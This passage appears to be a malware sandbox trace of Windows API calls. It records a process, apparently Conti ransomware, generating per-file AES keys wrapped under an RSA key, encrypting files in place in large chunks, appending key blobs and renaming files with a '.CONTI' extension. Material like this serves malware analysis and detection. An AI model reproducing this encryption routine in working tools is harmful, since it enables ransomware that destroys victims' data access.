	[0125.095] ReadFile (in: hFile=0x3ac, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2000, lpOverlapped=0x0) returned 1
	[0125.095] CryptEncrypt (in: hKey=0x6b7ebf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2000, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2010) returned 1
	[0125.095] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.095] WriteFile (in: hFile=0x3ac, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2010, lpOverlapped=0x0) returned 1
	[0129.226] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.226] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4e970*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6b4e970*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0129.226] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.226] CloseHandle (hObject=0x3ac) returned 1
	[0129.559] GetProcessHeap () returned 0x1720000
	[0129.559] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65e6f20
	[0129.559] lstrcpyW (in: lpString1=0x65e6f20, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl"
	[0129.559] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl.CONTI"
	[0129.559] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationux.001.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationux.001.etl.conti")) returned 1
	[0129.584] GetProcessHeap () returned 0x1720000
	[0129.584] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65e6f20 | out: hHeap=0x1720000) returned 1
	[0129.584] CryptDestroyKey (hKey=0x6b7ebf8) returned 1
	[0129.584] GetProcessHeap () returned 0x1720000
	[0129.584] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740a00 | out: hHeap=0x1720000) returned 1
	[0129.584] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0130.184] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b52280 | out: phKey=0x6b52280*=0x17c8170) returned 1
	[0130.184] CryptExportKey (in: hKey=0x17c8170, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52284, pdwDataLen=0x54bfc14 | out: pbData=0x6b52284*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0130.185] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml")) returned 0x20
	[0130.185] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.185] GetLastError () returned 0x5
	[0130.185] CryptDestroyKey (hKey=0x17c8170) returned 1
	[0130.185] GetProcessHeap () returned 0x1720000
	[0130.185] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6511018 | out: hHeap=0x1720000) returned 1
	[0130.185] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0133.998] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b45c08 | out: phKey=0x6b45c08*=0x17c7f30) returned 1
	[0133.998] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45c0c, pdwDataLen=0x54bfc14 | out: pbData=0x6b45c0c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0133.998] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbres00002.jrs")) returned 0x20
	[0133.999] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.999] GetLastError () returned 0x5
	[0133.999] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0133.999] GetProcessHeap () returned 0x1720000
	[0133.999] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02868 | out: hHeap=0x1720000) returned 1
	[0133.999] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0134.710] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b46770 | out: phKey=0x6b46770*=0x17c8030) returned 1
	[0134.710] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46774, pdwDataLen=0x54bfc14 | out: pbData=0x6b46774*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0135.331] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\baseimagefam8")) returned 0x2020
	[0136.331] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\baseimagefam8"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0136.331] GetLastError () returned 0x0
	[0136.331] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=82552484) returned 1
	[0136.331] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4eba6a4
	[0136.332] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.332] SetEndOfFile (hFile=0x408) returned 1
	[0139.508] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.508] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.508] WriteFile (in: hFile=0x408, lpBuffer=0x6b46774*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b46774*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0139.508] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.508] ReadFile (in: hFile=0x408, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x500000, lpOverlapped=0x0) returned 1
	[0142.496] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x500000, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x500000) returned 1
	[0142.504] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.505] WriteFile (in: hFile=0x408, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x500000, lpOverlapped=0x0) returned 1
	[0148.337] ReadFile (in: hFile=0x408, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x500000, lpOverlapped=0x0) returned 1
	[0149.949] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x500000, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x500000) returned 1
	[0150.003] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0150.003] WriteFile (hFile=0x408, lpBuffer=0xfdc0000, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0) 

Thread:
	id = 172
	os_tid = 0x500

	[0093.113] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x102d0000
	[0093.113] CryptAcquireContextA (in: phProv=0x55ffb68, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x55ffb68*=0x176bf08) returned 1
	[0093.115] CryptImportKey (in: hProv=0x176bf08, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x55ffb64 | out: phKey=0x55ffb64*=0x175db70) returned 1
	[0093.115] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0093.377] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x17c17f0 | out: phKey=0x17c17f0*=0x175e430) returned 1
	[0093.377] CryptExportKey (in: hKey=0x175e430, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c17f4, pdwDataLen=0x55ffb34 | out: pbData=0x17c17f4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0093.385] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20
	[0093.386] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.386] GetLastError () returned 0x0
	[0093.386] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=307) returned 1
	[0093.386] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x133
	[0093.386] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.386] SetEndOfFile (hFile=0x338) returned 1
	[0093.387] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.387] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.387] WriteFile (in: hFile=0x338, lpBuffer=0x17c17f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x17c17f4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0093.389] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.389] ReadFile (in: hFile=0x338, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x133, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x133, lpOverlapped=0x0) returned 1
	[0093.389] CryptEncrypt (in: hKey=0x175e430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x133, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x140) returned 1
	[0093.389] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.389] WriteFile (in: hFile=0x338, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x140, lpOverlapped=0x0) returned 1
	[0093.389] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.389] WriteFile (in: hFile=0x338, lpBuffer=0x17c17e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x17c17e8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0093.389] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.389] CloseHandle (hObject=0x338) returned 1
	[0093.390] GetProcessHeap () returned 0x1720000
	[0093.390] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d13f8
	[0093.390] lstrcpyW (in: lpString1=0x17d13f8, lpString2="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" | out: lpString1="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd"
	[0093.390] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd", lpString2=".CONTI" | out: lpString1="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.CONTI") returned="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.CONTI"
	[0093.390] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.CONTI" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.conti")) returned 1
	[0093.391] GetProcessHeap () returned 0x1720000
	[0093.391] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13f8 | out: hHeap=0x1720000) returned 1
	[0093.391] CryptDestroyKey (hKey=0x175e430) returned 1
	[0093.391] GetProcessHeap () returned 0x1720000
	[0093.391] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf9f8 | out: hHeap=0x1720000) returned 1
	[0093.391] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0093.692] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x17c4a28 | out: phKey=0x17c4a28*=0x175e4b0) returned 1
	[0093.692] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4a2c, pdwDataLen=0x55ffb34 | out: pbData=0x17c4a2c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0093.699] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80
	[0093.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0093.700] GetLastError () returned 0x0
	[0093.700] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=77022) returned 1
	[0093.700] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12cde
	[0093.700] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.700] SetEndOfFile (hFile=0x348) returned 1
	[0093.700] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.700] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.700] WriteFile (in: hFile=0x348, lpBuffer=0x17c4a2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x17c4a2c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0093.702] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.702] ReadFile (in: hFile=0x348, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x12cde, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x12cde, lpOverlapped=0x0) returned 1
	[0093.704] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x12cde, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x12ce0) returned 1
	[0093.704] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.704] WriteFile (in: hFile=0x348, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x12ce0, lpOverlapped=0x0) returned 1
	[0093.705] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.705] WriteFile (in: hFile=0x348, lpBuffer=0x17c4a20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x17c4a20*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0093.705] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.705] CloseHandle (hObject=0x348) returned 1
	[0093.707] GetProcessHeap () returned 0x1720000
	[0093.707] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.707] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml"
	[0093.707] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.CONTI"
	[0093.707] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.conti")) returned 1
	[0093.707] GetProcessHeap () returned 0x1720000
	[0093.707] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.707] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0093.707] GetProcessHeap () returned 0x1720000
	[0093.707] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1726e10 | out: hHeap=0x1720000) returned 1
	[0093.707] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0094.155] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x17d38d0 | out: phKey=0x17d38d0*=0x175e4f0) returned 1
	[0094.155] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d38d4, pdwDataLen=0x55ffb34 | out: pbData=0x17d38d4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0094.161] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80
	[0094.161] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.161] GetLastError () returned 0x0
	[0094.161] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=894) returned 1
	[0094.161] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x37e
	[0094.161] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.161] SetEndOfFile (hFile=0x34c) returned 1
	[0094.161] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.161] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.162] WriteFile (in: hFile=0x34c, lpBuffer=0x17d38d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x17d38d4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0094.163] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.163] ReadFile (in: hFile=0x34c, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x37e, lpOverlapped=0x0) returned 1
	[0094.163] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x37e, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x380) returned 1
	[0094.164] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.164] WriteFile (in: hFile=0x34c, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x380, lpOverlapped=0x0) returned 1
	[0094.164] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.164] WriteFile (in: hFile=0x34c, lpBuffer=0x17d38c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x17d38c8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0094.164] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.164] CloseHandle (hObject=0x34c) returned 1
	[0094.165] GetProcessHeap () returned 0x1720000
	[0094.165] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
